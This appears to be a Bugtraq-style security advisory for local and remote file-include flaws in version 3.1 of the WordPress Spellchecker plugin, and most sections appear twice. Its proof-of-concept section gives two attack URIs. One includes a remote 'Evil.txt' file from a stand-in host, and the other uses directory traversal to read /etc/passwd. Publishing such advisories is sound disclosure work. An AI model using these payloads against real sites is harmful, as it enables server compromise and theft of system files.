Spellchecker Plugin for WordPress 'general.php' Local and Remote File Include Vulnerabilities
BID:47317
Info
Spellchecker Plugin for WordPress 'general.php' Local and Remote File Include Vulnerabilities
| Bugtraq ID: | 47317 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Apr 12 2011 12:00AM |
| Updated: | Apr 12 2011 12:00AM |
| Credit: | Dr Trojan |
| Vulnerable: |
WordPress Spellchecker 3.1 |
| Not Vulnerable: | |
Discussion
Spellchecker Plugin for WordPress 'general.php' Local and Remote File Include Vulnerabilities
The Spellchecker plugin for WordPress is prone to a local file-include vulnerability and a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
Spellchecker 3.1 is vulnerable; other versions may also be affected.
The Spellchecker plugin for WordPress is prone to a local file-include vulnerability and a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
Spellchecker 3.1 is vulnerable; other versions may also be affected.
Exploit / POC
Spellchecker Plugin for WordPress 'general.php' Local and Remote File Include Vulnerabilities
An attacker can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/general.php?file=http://sitename.com/Evil.txt?
http://www.example.com/general.php?file=../../../../../../../etc/passwd
An attacker can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/general.php?file=http://sitename.com/Evil.txt?
http://www.example.com/general.php?file=../../../../../../../etc/passwd
Solution / Fix
Spellchecker Plugin for WordPress 'general.php' Local and Remote File Include Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Spellchecker Plugin for WordPress 'general.php' Local and Remote File Include Vulnerabilities
References:
References:
- Spell Checker Homepage (Wordpress)
- Wordpress Homepage (Wordpress)